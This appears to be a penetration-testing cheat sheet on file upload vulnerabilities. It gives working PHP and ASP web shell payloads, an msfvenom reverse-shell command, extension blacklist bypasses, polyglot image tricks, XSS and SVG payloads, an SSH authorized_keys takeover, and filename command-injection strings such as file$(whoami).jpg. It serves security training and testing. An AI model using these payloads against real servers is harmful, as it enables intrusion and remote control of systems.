File Upload Vulnerabilities
Introduction
File upload vulnerabilities arise when a web server allows users to upload files to its filesystem without sufficiently validating them.
The ability to upload a malicious file can be an issue by itself, as attackers might upload dangerous data on the filesystem. In other cases, an attacker could potentially upload a server-side code file that functions as a web shell, effectively granting them full control over the server.
The impact of this class of vulnerabilities mostly depends on two factors:
Which part of the file is properly validated (e.g. its size, type, contents, ...)
Which restrictions are set on the file after it has effectively been uploaded
How Web Servers handle file requests
Whenever a resource is requested, the web server parses the path in the request to identify the file extension. The server then uses this to determine the type of the file being requested, typically by comparing it to a list of preconfigured mappings between extensions and MIME types. What happens next depends on the file type and the server's configuration.
When requesting a static file, the server will most probably send the file's contents to the client within an HTTP response.
When requesting a dynamic file, there are two cases:
If the server is configured to execute files of that type, it will assign variables based on the headers and parameters in the HTTP request before running the script. The resulting output may then be sent to the client in an HTTP response
If the server is not configured to execute files of that type, it will generally respond with an error. However, in some cases, the contents of the file may still be served to the client as plain text.
Note:
The Content-Type response header may provide clues as to what kind of file the server thinks it has served.
If this header hasn't been explicitly set by the application code, it normally contains the result of the file extension/MIME type mapping.
If you are lucky enough, you might edit your request's "Accept" header to ask for a specific response content-type, potentially allowing you to still gain code execution!
File Types and Related Attacks
HTML, JS, SVG, GIF
XSS
XML, SVG, PDF, PPT, DOC
XXE/SSRF
ZIP, JPG, PNG
DoS
Web and Reverse Shells Payloads to Inject
<?php file_get_contents('/etc/passwd'); ?>
Basic PHP File Read
<?php system('hostname'); ?>
Basic PHP Command Execution
<?php system($_GET['cmd']); ?>
Basic PHP Web Shell
<% eval request('cmd') %>
Basic ASP Web Shell
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
Generate PHP reverse shell
https://github.com/Arrexel/phpbash
PHP Web Shell
https://github.com/pentestmonkey/php-reverse-shell
PHP Reverse Shell
https://github.com/danielmiessler/SecLists/tree/master/Web-Shells
List of Web Shells and Reverse Shells
Extension Blacklist Bypasses
One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like .php
You might use the following techniques to bypass some basic extension blacklists:
shell.phtml
Uncommon Extension
shell.pHp
Case Manipulation
shell.jpg.php
Double Extension
shell.php.jpg
Reverse Double Extension
%20, %0a, %00, %0d0a, /, .\, ., β¦
Character Injection - Before/After Extension
Use some alternative extensions that might not be blacklisted
Overriding the server's configuration files
In some cases, you might be able to leverage a file upload vulnerablity to move inside the filesystem and override files.
In that case, you can override the server's configuration to allow certain extensions, such as .php
Content/Type and Mime/Type Bypass
Modern servers may verify that the contents of the file actually match what is expected.
For example, some properties of specific types of files might be checked: uploading a PHP file when an image is expected might fail because the web server is checking for the dimensions (length and width) of the file, which are not properties of a PHP file, causing the validation mechanism to deny the file upload.
In some other cases, the file's signature (or magic bytes) are checked during the file upload procedure.
A file's signature can be used like a fingerprint or signature to determine whether the contents match the expected type.
For example, JPEG files begin with the bytes FF D8 FF
.
Check this link for reference:
Using an image file upload as an example, you might be able to upload a php webshell using a polygot JPEG file containing the payload in its metadata
A polyglot file is a single file that can be interpreted in multiple valid formats, depending on the program or context used to open it.
These files are crafted to contain data for different file types in such a way that various applications can read or interpret it as different formats.
To do that, you can use tools such as ExifTool
to add the payload, for example, in the image's comment metadata section:
This will craft a file named polyglot.php
which has the contents of a JPG
file.
If the web server check the file's contents to ensure it is a JPG file, this will bypass such restriction. Otherwise, you will need to add extra work on this payload.
File Uploads to XSS Attack
There are different cases in which you can gain XSS from file uploads:
Uploading a HTML file containing a script in javascript
Uploading a HTML file containing a link to our server to steal the document cookie
Other cases:
Whenever an application shows an image's metadata after its upload, it is possible to inject a payload inside metadata parameters such as
comment
orartist
by usingexiftool
:exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
By using SVG images, it's possible to inject a payload with something like:
<script type="text/javascript"> alert("window.origin");</script>
File Upload to SSH Access
Suppose you have an Arbitrary File Upload vulnerability where you can also specify the uploaded file's location, whether via a vulnerable filename or a path parameter. Also suppose that you have write access on SSH's authorized_keys file for a local user.
You can gain an SSH shell using the following:
Use
ssh-keygen
to generate a key namedfileup
cat fileup > authorized_keys
Upload the file to
/home/username/.ssh/authorized_keys
(or/root/.ssh/authorized_keys
).Note that you might need to leverage a path traversal vulnerability to reach these destinations.
Use
ssh username@IP -i fileup
to gain the SSH shell asusername
Notice that SSH might require using
chmod 500 fileup
to use the-i fileup
option
File Uploads to XXE Attacks
[Read
/etc/passwd
] XXE from SVG images upload by using the following payload:[Exfiltrate PHP Code] XXE from SVG to read source code:
Injections in File Names
A common file upload attack uses a malicious string for the uploaded file name
The filename may get executed or processed if the uploaded file name is reflected on the page.
We can try injecting a command in the file name, and if the web application uses the file name within an OS command, it may lead to a command injection attack.
Some examples of filenames for this attack:
System Command Execution
file$(whoami).jpg
file
whoami.jpg
file.jpg||whoami
XSS from filename:
<script>alert(window.origin);</script>
SQLi from filename:
file';select+sleep(5);--.jpg
Windows Specific Attacks
Reserved Characters: such as (
|
,<
,>
,*
, or?
) are characters for special uses (such as wildcards).If the web application doesn't apply any form of input sanification, it's possible to refer to a file different from the specified one (which does not exist)
This behaviour causes an error which may be shown on the web application, potentially showing the
upload directory
Windows Reserved Names: can be used to replicate the same behaviour as the reserved characters previously shown. (
CON
,COM1
,LPT1
, orNUL
)Windows Filename Convention: it's possible to overwrite a file (or refer to a non-existant file) by using the
~
character to complete the filenameExample:
HAC~1.TXT
β may refer to hackthebox.txtReference: https://en.wikipedia.org/wiki/8.3_filename
Last updated